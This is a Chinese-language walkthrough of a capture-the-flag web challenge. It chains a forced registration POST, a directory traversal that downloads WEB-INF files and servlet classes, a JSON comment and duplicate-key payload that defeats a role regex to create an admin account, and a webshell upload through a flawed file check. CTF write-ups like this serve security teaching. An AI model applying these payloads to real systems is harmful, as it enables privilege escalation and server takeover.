这道题点开始注册登录界面,但是点击注册按钮会提示Not Allowed。
但是查看源码会发现
这里是直接跳出了Not Allowed,构造POST请求,通过burp发包注册一个账号。
注册成功,登录后又上传和下载两个功能,我们发现下载有一个目录穿越,尝试读取,/WEB-INF/web.xml.
由于上传功能只有管理员可以使用它,因此可以根据xml的内容构造出,
../../WEB-INF/classes/com/web/servlet/registerServlet.class,然后下载这个class文件,查看注册的源码 。
可以使用jd-jui反编译class文件,看到源码。可以很容易就找到针对role的处理。
String var = req.getParameter("data").replaceAll(" ", "").replace("'", "\"");
Pattern pattern = Pattern.compile("\"role\":\"(.*?)\"");
Matcher matcher = pattern.matcher(var);
while (matcher.find())
role = matcher.group();
if (!StringUtils.isNullOrEmpty(role)) {
var = var.replace(role, "\"role\":\"guest\"");
person = (Person)gson.fromJson(var, Person.class);
} else {
person = (Person)gson.fromJson(var, Person.class);
person.setRole("guest");
}
此时可以有两种方法,绕过,正则表达式中包含了
"\"role\":\"(.*?)\"",
会把所有内容进行完整匹配,但是JSON中的内联注释不会影响其解析,因此可以使用注释来破坏正则匹配,为了让其不直接走if的另外一个分支,我们还是需要让正则匹配有结果从而保证role变量有内容。JSON中键值一样的数据解析时后面的会覆盖前面的,因此可以构造如下payload
data={"username":"july", "password":"123456","role":"superuser", "role"/**/:"admin"}
可以注意到这里取得的正则匹配结果是最后一个,在可以使用注释的情况下,可以构造如下payload。
{"username":"july","password":"123456","role":"admin"/*,"role":"guest"*/}
利用这个payload注册一个管理员账户,登陆管理员账户之后,再根据构造../../WEB-INF/classes/com/web/servlet/uploadServlet.class下载后查看上传文件的源码。
if (checkExt(ext) || checkContent(item.getInputStream())) {
req.setAttribute("error", "upload failed");
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
item.write(new File(uploadPath + File.separator + name + ext));
req.setAttribute("error", "upload success!");
我们看到内容检测和扩展名检测完成之后,并没有退出,而是继续保存了文件,因此我们可以尝试想../../static/下上传一句话,使用蚁剑连接即可获取flag。